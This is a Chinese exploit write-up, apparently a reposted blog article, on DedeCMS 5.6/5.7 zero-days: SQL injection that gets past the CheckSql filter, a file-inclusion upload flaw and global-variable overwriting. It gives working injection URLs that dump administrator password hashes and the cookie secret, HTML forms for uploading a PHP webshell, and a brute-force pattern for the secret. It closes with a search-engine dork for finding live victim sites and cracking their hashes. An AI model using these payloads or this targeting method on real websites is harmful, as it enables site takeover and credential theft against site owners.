(织梦cms)dedecms5.7注入和上传0day

来源:互联网 发布:孤岛惊魂3低配优化 编辑:程序博客网 时间:2024/04/23 14:58

漏洞类型:注入漏洞、上传漏洞

漏洞描述:百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用DeDeCMS系统的网站。

  注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,

  然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,如图说明存在该漏洞。

  然后写上语句/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select userid from `%23@__admin` where 1 or id=@`’` 查看管理员id

  /member/ajax_membergroup.php?action=post&membergroup=@`’` Union select pwd from `%23@__admin` where 1 or id=@`’` 查看管理员密码

  得到的是19位的,去掉前三位和最后一位,得到管理员的16位MD5
  上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,

  只要登陆会员中心,然后访问页面链接

“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”

通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”

于是将Php一句话木马扩展名改为“rar”等,利用提交页面upload1.htm

<[/url">http://www.sa666.com/plus/carbuy ... t&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post"

enctype="multipart/form-data" name="form1">
file:<input name="uploadfile" type="file" /><br>

newname:<input name="newname" type="text" value="myfile.Php"/>
<button type="submit">提交</button><br><br>

把url改成目标url就行了。还有个全局变量提交,绕过注册的可以去黑防2月刊上面看。






--------------------------------------------------------------------------\


漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:

//编辑分组
elseif($action == ‘post’)
{
if(empty($membergroup)){
echo “您还没有设置分组!”;
exit;
}
$sql = “UPDATE `#@__member_friends` SET `groupid`=’{$membergroup}’ WHERE `fid`=’{$mid}’ AND `mid`=’{$cfg_ml->M_ID}’;”;
$dsql->ExecuteNoneQuery($sql);
$row = $dsql->GetOne(“SELECT groupname FROM #@__member_group WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}”); //数字型注入
echo ” “.$row['groupname'].”  <a href=’#’ onclick=’EditMemberGroup($mid);return false;’>修改</a>”;
}
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。
绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下:
if (!function_exists(‘CheckSql’))
{ function CheckSql($db_string,$querytype=’select’)
{global $cfg_cookie_encode;
$clean = ”;$error=”;$old_pos = 0;$pos = -1;
…(略)
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype==’select’)
{$notallow1= “[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”;
//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符,
if(preg_match(“/”.$notallow1.”/”, $db_string))
{//①preg_match未使用参数i,使用大写绕过,如:Union
puts(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||SelectBreak\r\n”);
exit(“<font size=’5′ color=’red’>Safe Alert: Request Error step 1 !</font>”);
}
}
while (TRUE)
{ $pos = strpos($db_string, ‘\”, $pos + 1);
if ($pos === FALSE)
{break; }
//②假如字符串$db_string中不存在“\’”退出while循环,存在则继续向下执行
$clean .= substr($db_string, $old_pos, $pos – $old_pos);
while (TRUE)
{ …(略) }
$clean .= ‘$s$’;
//③将字符串$db_string中”\’”和”\’”之间的字符转为”$s$”,即信任之间的字符串,绕过防注入的关键
$old_pos = $pos + 1;
}
…..(继续接如下代码)
}
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array(‘~\s+~s’ ), array(‘ ‘), $clean)));
//④”\s”匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写
//⑤再次检查union关键字
if (strpos($clean, ‘union’) !== FALSE && preg_match(‘~(^|[^a-z])union($|[^[a-z])~s’, $clean) != 0)
{
$fail = TRUE;
$error=”union detect”;
}
//⑥依次检查–、#、benchmark、load_file、outfile、select等关键字
elseif (strpos($clean, ‘/*’) > 2 || strpos($clean, ‘–’) !== FALSE || strpos($clean, ‘#’) !== FALSE)
{…(略) }
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, ‘sleep’) !== FALSE && preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~s’, $clean) != 0)
…(略)
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match(‘~\([^)]*?select~s’, $clean) != 0)
{…(略)}
if (!empty($fail))
{//存在限制的Sql关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!”
fputs(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||$error\r\n”);
exit(“<font size=’5′ color=’red’>Safe Alert: Request Error step 2!</font>”);
}
else
{//⑦不存在限制的Sql关键字,返回$db_string字符串
return $db_string;
}
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为“@`’` Union select pwd from `%23@__admin` where 1 or id=@`’`”,注意:1)“Union”不能全为小写“union”,2)前后使用“@`’`”。当变量提交后,Sql语句成为“SELECT groupname FROM #@__member_group WHERE mid = 8 AND id=@`\’` Union select pwd from `%23@__admin` where 1 or id=@`\’`”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\’”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如下。
…(略)
echo “原字符串:”.$db_string.”<br>”;
//完整的SQL检查
while (TRUE)
{
…(略)
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array(‘~\s+~s’ ), array(‘ ‘), $clean)));
echo “转换以后:”.$clean.”<br>”;
…(略)
这里注出的是substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后一位,成为16位MD5码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:
注入管理员密码:
http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select pwd from `%23@__admin` where 1 or id=@`’`
//如果存在多个管理员时,可以将where条件改为“id=1 or id=@`’`”或“userid=0x61646D696E or id=@`’`”
注入$cfg_cookie_encode
http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select value from `%23@__sysconfig` where aid=3 or aid=@`’`
//在获得$cfg_cookie_encode后,我们可以直接利用漏洞二。另外在“/data/’.md5($cfg_cookie_encode).’_safe.txt’”文件中记录着注入痕迹。
漏洞二:/member/edit_fullinfo.php页面,即更改详细资料页面(系统设置>>个人资料),如下,要求登陆用户。
该页面中$inadd_f变量没有过滤导致注入,代码如下:
if($dopost==’save’){ //这里完成详细内容填写
…(略)
if(!empty($dede_fields))
{
if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode))
{ howMsg(‘数据校验不对,程序返回’, ‘-1′);
exit();
} // ①$cfg_cookie_encode值必须已知,才能提交符合条件的$dede_fieldshash
}
$modelform = $dsql->GetOne(“SELECT * FROM #@__member_model WHERE id=’$modid’ “);
if(!is_array($modelform))
{ howmsg(‘模型表单不存在’, ‘-1′); exit(); } //②$modid值必须正确
$inadd_f = ”;
if(!empty($dede_fields))
{
$fieldarr = explode(‘;’, $dede_fields); //③用“;”将$dede_fields变量分割成为数组
if(is_array($fieldarr)) //即$dede_fields变量至少必须包含一个“;”
{
foreach($fieldarr as $field)
{
if($field == ”) continue;
$fieldinfo = explode(‘,’, $field); //④用“,”将$field分割成为数组
if($fieldinfo[1] == ‘textdata’)
{
${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]}));
${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
} else if ($fieldinfo[1] == ‘img’)
{
${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
}
else
{
if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = ”;
${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,’add’,”,’diy’, $fieldinfo[0]);
}
if($fieldinfo[0]==”birthday”) ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]});
$inadd_f .= ‘,’.$fieldinfo[0].” =’”.${$fieldinfo[0]}.”‘”;
//⑤将用“,”分割成的数组名和值引入$inadd_f中
}
}
}
$inadd_f=preg_replace(‘/,/’,”,$inadd_f,1);
$query = “UPDATE `{$membermodel->table}`set {$inadd_f} WHERE mid=’{$cfg_ml->M_ID}’”; //⑥将$inadd_f引入Sql语句中
// 清除缓存
$cfg_ml->DelCache($cfg_ml->M_ID);
…(略)
//调用$dsql->ExecuteNoneQuery($query)执行Sql语句
}
通过分析可以得出:1)语句①②,$cfg_cookie_encode值必须已知,才能提交符合条
件的$dede_fieldshash,提交的$modid值必须正确,查看该页面源码即可获得$modid值;2)语句③④⑤,$dede_fields变量形式必须为“变量1名称,变量1类型;变量2名称,变量2类型;….”,最后$inadd_f变量值为“,变量1名称=’ 变量1值’, 变量2名称=’ 变量2值’,……”;3)$inadd_f直接引入Sql语句,因此可以使用自查询将需要注出的内容写入个人资料中!
获取$cfg_cookie_encode值。此值是能否成功利用漏洞二的关键,除了利用漏洞一外,还可以通过爆破MD5码获取。使用$cfg_cookie_encode变量的用户页面很多,我们选择“上传软件”页面,查看页面源码,搜索“dede_fieldshash”字符串,如图3,其中$dede_fieldshash值为MD5($dede_addonfields.$cfg_cookie_encode),由于$dede_addonfields值为空,所以获得的$dede_fieldshash值就是$cfg_cookie_encode变量的MD5码,
DeDeCMS安装时,$cfg_cookie_encode变量默认生成规则为:
$rnd_cookieEncode = chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘a’),ord(‘z’))).chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘a’),ord(‘z’))).mt_rand(1000,9999).chr(mt_rand(ord(‘A’),ord(‘Z’)));
形式如:AaAAa9999A,即前5位为英文字母,分别为大写、小写、大写、大写、小写,然后是4位数字,最后是1位大写英文字母,一共10位。爆破工具选择MD5Crack 4,因为这个版本可以按指定的规则进行破解,如下图。
首先输入待破解的MD5码,然后选中①处“Plugins”,选中②处“Templet Plug 2.0”,在③处输入密码规则:[A-Z][a-z]2[A-Z][a-z][1-9]3[0-9][A-Z],④处对规则做了一些简单说明,译文如下:
首先,让我们看一些例子:[p][r]3[a-z]2-4{0,3,6-8}。
模式中包括的“[]”或“{}”为基本元素,其中指定字符集,可以用“,”列出字符,或用“-”表示连接的范围。基本元素之前的数字表示重复次数,不指定时默认为1。
[]和{}的区别:
1、默认(前面无数字)[]是指重复1次,{}是指重复0或1次。
2、前面1个数字(如:x[...],x{…}),[]是指重复x次,{}是重复0到x次。
3、前面2个数字(如:x-y[...],x-y{…}),[]和{}是相同的,指重复x到y次。
[...] == 1-1[...] {…} == 0-1{…}
3[...] == 3-3[...] 3{…} == 0-3{…}
有更多的例子:
[a][c] : abc
[a,b,c] == [a-c] : a;b;c
{a-c} : NULL;a;b;c
2[a-c] : aa;ab;ac;ba;bb;bc
2{a-c} : NULL;a;b;c;aa;ab;ac;ba;bb;bc;ca;cb;cc
随后就可以开始破解了。一旦获得$cfg_cookie_encode变量,我们就可以顺利注入,提交页面代码如下,注意必须将document.getElementById(‘dede_fields’).value值中的单引号替换为转义单引号,即“’”转为“\’”。
<form method=”post” action=”http://127.1/member/edit_fullinfo.php” name=”form1″>
dopost:<input type=”text” value=”save” name=”dopost”/><br>
modid:<input type=”text” value=”1″ name=”modid”/><br>
cfg_cookie_encode:<input type=”text” value=”MhHTi3472T” name=”cfg_cookie_encode” /><br>
dede_fields:<input type=”text” value=”" name=”dede_fields” size=50/><br>
<input type=”hidden” value=”1″ name=”dede_fieldshash”/>
<button type=”submit”>完 成 </button>
</form>
<script>
利用页面如图5,提交后完成注入,页面转向后获得管理员的密码,如图下。
当dede_fields=@`qq’`;uname=(select pwd from %23@__admin where id=1) where mid=8%23,int
语句执行失败:UPDATE `dede_member_person` SET `mid`=’8′ ,@`qq\’` =” ,uname=(select pwd from #@__admin where id=1) where mid=8# =’0′ WHERE `mid`=’8′;
当dede_fields=qq=@`qq’`;uname=(select pwd from %23@__admin where id=1) where mid=8%23,int
语句执行成功:UPDATE `dede_member_person` SET `mid`=’8′ ,qq=@`qq\’` =” ,uname=(select pwd from #@__admin where id=1) where mid=8# =’0′ WHERE `mid`=’8′;
MySql版本为5.0.90
测试注入时注意“@”定义变量的用法,“qq=@`qq\’` =””执行成功,而“@`qq\’` =””不会执行成功。
上传漏洞
其实DeDeCMS对上传进行了严格的限制。首先使用/include/uploadsafe.inc.php禁止某些文件类型,如“php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”,然后上传时再次进行允许和禁止判断,限制应该是很严格的,但是/include/dialog/select_soft_post.php文件存在失误,导致可以绕过这些限制上传asp木马文件。主要代码如下:
<?php
if(!isset($cfg_basedir)) //①如果$cfg_basedir变量没有定义,则包含config.php文件
{ include_once(dirname(__FILE__).’/config.php’); }
…(略)
$newname = ( empty($newname) ? ” : preg_replace(“#[\\ \"\*\?\t\r\n<>':\/|]#”, “”, $newname) ); //②过滤新文件名中的正斜杠、反斜杠、空格、单引号等符号
…(略)
$uploadfile_name = trim(preg_replace(“#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#”, ”, $uploadfile_name));
if(!preg_match(“#\.(“.$cfg_softtype.”)#i”, $uploadfile_name))
{ //$cfg_softtype = ‘zip|gz|rar|iso|doc|xsl|ppt|wps’
//③进行允许$cfg_softtype类型判断。因为正则表达式缺少“$”,所以“.zip.asp”将满足条件,还可以将上传文件的扩展名改为rar等。
ShowMsg(“你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!”,”"); exit();
}
if($activepath==$cfg_soft_dir)
{ //$cfg_soft_dir=$cfg_medias_dir.’/soft’,提交空变量$activepath使条件不成立
…(略)
}
if(!empty($newname)) //上传后的新文件名
{ $filename = $newname;
if(!preg_match(“#\.#”, $filename)) $fs = explode(‘.’, $uploadfile_name);
else $fs = explode(‘.’, $filename);
//④新文件名包含“.”,取新文件扩展名,否则取上传文件扩展名
if(preg_match(“#”.$cfg_not_allowall.”#”, $fs[count($fs)-1]))
{ //$cfg_not_allowall = “php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”;
//⑤再次进行禁止$cfg_not_allowall类型判断,因为正则表达式缺少“i”,所以可以通过大写绕过
ShowMsg(“你指定的文件名被系统禁止!”,’javascript:;’); exit();
}
if(!preg_match(“#\.#”, $filename)) $filename = $filename.’.’.$fs[count($fs)-1];
}else{ $filename = $cuserLogin->getUserID().’-’.dd2char(MyDate(‘ymdHis’,$nowtme));
//自动生成文件名,由于getUserID()函数定义在userlogin.class.php中,一般无法调用,所以我们上传时指定新文件名
…(略)
}
$fullfilename = $cfg_basedir.$activepath.’/’.$filename; //文件上传到网站根目
$fullfileurl = $activepath.’/’.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die(“上传文件到 $fullfilename 失败!”);
//⑥PHP 的move_uploaded_file() 函数将上传的文件移动(复制)到新位置的$fullfilename文件。
与include/dialog目录其他文件不同,没有直接包含config.php文件(包含config.php文件时,会要求以管理员身份登录后才能继续访问),而是增加了语句①进行判断$cfg_basedir变量,如果没有定义则强制包含config.php文件,这样的意图是不允许直接访问select_soft_post.php文件,但是这样做同样是危险的,一旦$cfg_basedir变量已经定义,将绕过config.php文件的限制,具体的方法是以包含方式调用select_soft_post.php。因为语句②过滤了正反斜杠,所以不能进行目录跳转,默认上传到网站根目录。语句③进行允许$cfg_softtype类型判断,因为正则表达式缺少“$”,所以“.zip.asp”将满足条件,还可以将上传文件扩展名改为允许上传的类型,如rar等。语句④判断新文件名是否包含“.”,是则取新文件名的扩展名,语句⑤再次进行禁止$cfg_not_allowall类型判断,因为正则表达式缺少“i”,所以可以通过大写绕过,语句⑥完成上传文件的复制。
包含方式调用select_soft_post.php。由于语句①要求$cfg_basedir变量必须初始化,所以必须以包含方式调用select_soft_post.php文件,才能绕过config.php文件限制。分析页面“/plus/carbuyaction.php”主要代码如下:
if($cfg_mb_open == ‘N’)
{
ShowMsg(“系统关闭了会员功能,因此你无法访问此页面!”,”javascript:;”);
exit();
} //①要求系统开启会员功能
$cfg_ml = new MemberLogin();
if(!isset($dopost) || empty($dopost)){
…(略)
} else if ($dopost == ‘memclickout’)
{
$svali = GetCkVdValue();
if(preg_match (“/S-P[0-9]+RN[0-9]/”,$oid))
{
$oid=trim($oid);
} else {
ShowMsg(“您的订单号不存在!”,”/member/shops_orders.php”,0,2000);
exit();
} //②要求$oid变量符合正则表达式
if($cfg_ml->IsLogin())
{
$userid = $cfg_ml->M_ID;
}
else
{
…(略) //验证用户名、密码
} //③要求用户登录
$row=$dsql->GetOne(“SELECT * FROM `#@__shops_orders` WHERE oid=’$oid’ “);
if(is_array($row)){
$OrdersId=$oid;
$CartCount=$row['cartcount'];
$priceCount=$row['priceCount'];
$pid=$row['pid'];
$rs = $dsql->GetOne(“SELECT * FROM `#@__payment` WHERE id=’{$row['paytype']}’ “);
}
//④当$row不是数组,即if条件不成立,不会重写变量$rs,所以外部提交$rs['code']变量,实现包含调用select_soft_post.php文件。
require_once DEDEINC.’/payment/’.$rs['code'].’.php’;
…(略)
}
分析代码可以知道:语句①和③要求系统开启会员功能并且登陆用户;语句②要求变量$oid符合正则表达式“S-P[0-9]+RN[0-9]”,即以“S-P”开头,加数字,加“RN”,最后是数字;语句④是导致可以包含调用的关键,当$row不是数组,即Sql语句无返回结果,这时就可以外部提交$rs['code']变量,实现包含调用select_soft_post.php文件。给出利用链接:“http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=
S-P0RN8888&rs[code]=../dialog/select_soft_post”,访问页面如图下。
将下面的源码另存为upload1.htm,获得提交页面如图下。
<form action="[url=http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post]http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post[/url]" method="post" enctype="multipart/form-data" name="form1">
file:<input name="uploadfile" type="file" /><br>
newname:<input name="newname" type="text" value="myfile.Php"/>
<button type="submit">提交</button><br><br>
1,必须登陆用户。<br>
2,将待上传PHP文件扩展名改为“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。<br>
3,newname为上传后的新文件名,扩展名使用大写绕过,如“Php”。<br>
提交后尽管页面出错,如图9,但是myfile.Php文件已经成功上传到网站根目录。
漏洞影响:DeDeCMS V5.6和5.7所有版本。因为V5.6使用eregi函数进行正则判断,忽略大小写,所以无法绕过CheckSql函数的“Safe Alert: Request Error step 1 !”的过滤,不存在注入漏洞,但是却存在上传漏洞。比较V5.6与V5.7页面代码,“/plus/carbuyaction.php”一致,仅“/dialog/select_soft_post.php”略有不同,代码如下:
漏洞影响:DeDeCMS V5.6和5.7所有版本。因为V5.6使用eregi函数进行正则判断,忽略大小写,所以无法绕过CheckSql函数的“Safe Alert: Request Error step 1 !”的过滤,不存在注入漏洞,但是却存在上传漏洞。比较V5.6与V5.7页面代码,“/plus/carbuyaction.php”一致,仅“/dialog/select_soft_post.php”略有不同,代码如下:
…(略)
$uploadfile_name = trim(ereg_replace("[ \r\n\t\*\%\\/\?><\|\":]{1,}",'',$uploadfile_name));
if(!eregi("\.(".$cfg_softtype.")", $uploadfile_name))
{
ShowMsg("你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!","");
exit();
}//将待上传文件的扩展名改为rar等,绕过这里的限制
if(!empty($newname))
{
$filename = $newname;
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name);
else $fs = explode('.', $filename);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
exit();
}//虽然使用eregi函数进行正则判断,无法利用大写绕过,但是只要在变量$newname值最后增加一个“.”,就可以绕过了。
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
…(略)
只要我们在变量$newname最后增加一个“.”,就可以绕过限制了,比如“myfile.php.”,代码获取的文件扩展名“$fs[count($fs)-1]”是空值,所以不满足条件“eregi($cfg_not_allowall, $fs[count($fs)-1])”,因此页面不执行“exit()”继续上传文件。
全局变量漏洞
由于DeDeCMS对全局变量限制不严格,导致可以外部提交全局变量,漏洞影响2011年8月12日升级之前V5.7和5.6所有版本。DeDeCMS限制提交以“cfg_|GLOBALS”开头的变量名,include/common.inc.php相关代码如下:
============== 8月12日升级前===================
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v) //语句①
{
if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request) //语句②
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
}
============== 8月12日升级后===================
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
}
升级后增加了对提交变量名和值的过滤,我们分析升级前代码。语句①不允许$_REQUEST 方式提交“cfg_|GLOBALS”开头的变量名,由于PHP以数组方式存储变量,所以我们可以使用“_POST[cfg_xxx]”方式进行提交。修改tags.php文件如下,观察输出的页面全局变量。
<?php
/**
* @version $Id: tags.php 1 2010-06-30 11:43:09Z tianya $
* @package DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require_once (dirname(__FILE__) . "/include/common.inc.php");
require_once (DEDEINC . "/arc.taglist.class.php");
$PageNo = 1;
print_r($GLOBALS);
exit;
//增加这两行代码,输出全局变量
if(isset($_SERVER['QUERY_STRING']))
…(略)
在URL中提交:_POST[cfg_var]=Y,然后查看页面源码,观察_GET和_POST数组如图10,当执行语句②后,_GET数组中的变量被转为_POST数组中,最后转为全局变量如图下。
分析DeDeCMS获取和注册变量的过程如下:
if (!defined('DEDEREQUEST'))
{
…(略)//检查和注册外部提交的变量,语句①,代码见前文
}
//系统配置参数,语句②
require_once(DEDEDATA."/config.cache.inc.php");
//数据库配置文件,语句③
require_once(DEDEDATA.'/common.inc.php');
…(略)
//模板的存放目录,语句④
$cfg_templets_dir = $cfg_cmspath.'/templets';
$cfg_templeturl = $cfg_mainsite.$cfg_templets_dir;
…(略)
首先语句①检查和注册外部提交的变量,然后语句②、③初始化全局变量(系统配置参数、数据库配置参数),最后语句④初始化网站的其他全局变量。所以即使语句①成功提交了以“cfg_”开头的网站全局变量,比如提交“cfg_mb_open”(是否开启会员功能)值为“Y”,随后还是会被初始化为网站设置值,目前还无法修改全局变量。此方法适合:GET方式提交_POST和_COOKIE,POST方式提交_COOKIE。
修改全局变量。DeDeCMS同时还通过include/filter.inc.php包含文件过滤不相关内容,比如禁止提交$cfg_notallowstr变量定义的字符,过滤$cfg_replacestr变量定义的字符为“***”等,代码如下:
//过滤不相关内容
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
…(略) //禁止提交$cfg_notallowstr变量定义的字符
}
return $svar;
}
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v); //注册变量并过滤变量值
}
}
过滤不相关内容的同时注册变量!搜索“filter.inc.php”文件包含情况如图12,如member/config.php文件,首先包含common.inc.php文件,然后再包含filter.inc.php文件,因此可以修改以“cfg_”开头的全局变量。图中这几个页面文件以及包含这几个文件的页面均可以提交和修改全局变量,几乎member目录中所有的页面文件均受此影响。
利用一:绕过注册限制注册新会员。变量cfg_mb_open决定是否开启会员功能,变量cfg_mb_allowreg决定是否开启新会员注册功能,“N”为关闭,否则开启功能,所以即使网站关闭会员功能,只要提交cfg_mb_allowreg变量不为“N”,便可以成功注册新会员,提交cfg_mb_open变量不为“N”,则可以使用曾经注册的会员继续登陆!绕过的方法有:
方法一:修改注册提交页面源码,将form的action值改为“http://127.1/member/reg_new.php?_POST[cfg_mb_allowreg]=Y”,其中“127.1”根据实际修改。
方法二:修改注册提交页面源码,在form中增加“input”元素,name属性为“COOKIE[cfgmballowreg]”,值为“Y”(非“N”)。
利用二:注册已审核新会员。DeDeCMS系统默认设置时,新注册会员后需要邮件验证,全局变量cfg_mb_spacesta值为会员使用权限开通状态,默认 “-10”为需要邮件验证,“-1”为手工审核, “0”为没限制,注册页面reg_new.php的代码如下:
$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
$inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
if($dsql->ExecuteNoneQuery($inQuery))
…(略)
所以提交变量$cfg_mb_spacesta值不小于0,注册的会员将不需要邮件验证和审核,利用前文的方法二修改注册提交页面源码,提交不含“1”的变量safe_gdopen可以绕过验证码限制,详细利用略。
利用三:全局变量注入。使用DW在member目录搜索“(select |update|insert ).*(cfg_)”字符串(即使用全局变量的Sql语句),如图13,获得album_add.php、archives_add.php、article_add.php等页面,使用“$cfg_sendarc_scores”全局变量,并且以数字型引入Sql语句,如“"UPDATE `#@__member` SET scores=scores+{$cfg_sendarc_scores} WHERE mid='".$cfg_ml->M_ID. "' ; "”。
前文提及的注入漏洞二必须获知$cfg_cookie_encode变量,这里我们完全可以提交变量$cfg_cookie_encode为空,满足条件,受影响页面有memmber目录中的reg_new.php、edit_fullinfo.php等页面。详细利用略。
利用四:全局变量上传木马。会员上传页面为member目录中的uploads_add.php、uploads_edit.php等,上传函数MemberUploads定义在include/helpers/upload.helper.php文件,分析代码如下:
前文提及的注入漏洞二必须获知$cfg_cookie_encode变量,这里我们完全可以提交变量$cfg_cookie_encode为空,满足条件,受影响页面有memmber目录中的reg_new.php、edit_fullinfo.php等页面。详细利用略。
利用四:全局变量上传木马。会员上传页面为member目录中的uploads_add.php、uploads_edit.php等,上传函数MemberUploads定义在include/helpers/upload.helper.php文件,分析代码如下:
if(preg_match("/(asp|php|pl|cgi|shtm|js)$/", $sname)) //⑤大写绕过,如:Php
{
ShowMsg('你上传的文件为系统禁止的类型!', '-1');
exit();
}
…(略)
move_uploaded_file($GLOBALS[$upname], $cfg_basedir.$filename) or die("上传文件到 {$filename} 失败!"); //⑥使用move_uploaded_file函数完成文件上传
@unlink($GLOBALS[$upname]);
...(略)
}
我们可以提交全局变量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定义允许上传的文件类型,使用大写扩展名并增加空格等符号,比如“P hp”等,首先绕过include/uploadsafe.inc.php对php类型的限制,然后经过代码②过滤空格后绕过代码⑤限制,最后使用move_uploaded_file函数完成文件上传。漏洞利用必须登陆用户,将下面代码另存为upload2.htm。
<form name="form1" action="http://127.1/member/uploads_add.php" method="post" enctype="multipart/form-data" >
<input type="hidden" name="mediatype" value="4" />
<input type="hidden" name="_GET[cfg_mb_addontype]" value="P hp|Php|php" />
<input type="hidden" name="dopost" value="save" />
<input name="addonfile" type="file" id="addonfile" />
<button type="submit" >提交</button>
</form>
将待上传的Php文件扩展名改为“P hp”,然后利用该页面完成上传,从地址栏得到新文件名。
全局变量漏洞判断。在地址栏提交“_POST[cfg_xxx]”,如果页面返回“Request var not allow!”则安装过8月12日补丁,不存在全局变量漏洞,如果页面没有出错返回正常,则存在该漏洞。
或者访问“data/admin/ver.txt”文件,获取系统最后升级时间,确认是否安装过8月12日补丁。访问“/data/admin/verifies.txt”,获得指纹码最后同步时间。
系统最后升级时间:http://127.1/data/admin/ver.txt
指纹码最后同步时间:http://127.1/data/admin/verifies.txt
几个常见的指纹码同步时间:
漏洞利用实例
百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用DeDeCMS系统的网站。
注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,如图17说明已经修补2011年8月12日补丁,
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,存在该漏洞。
于是访问页面链接“/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'`”,去掉前三位和最后一位,得到管理员的16位MD5码,www.cmd5.com在线破解成功。
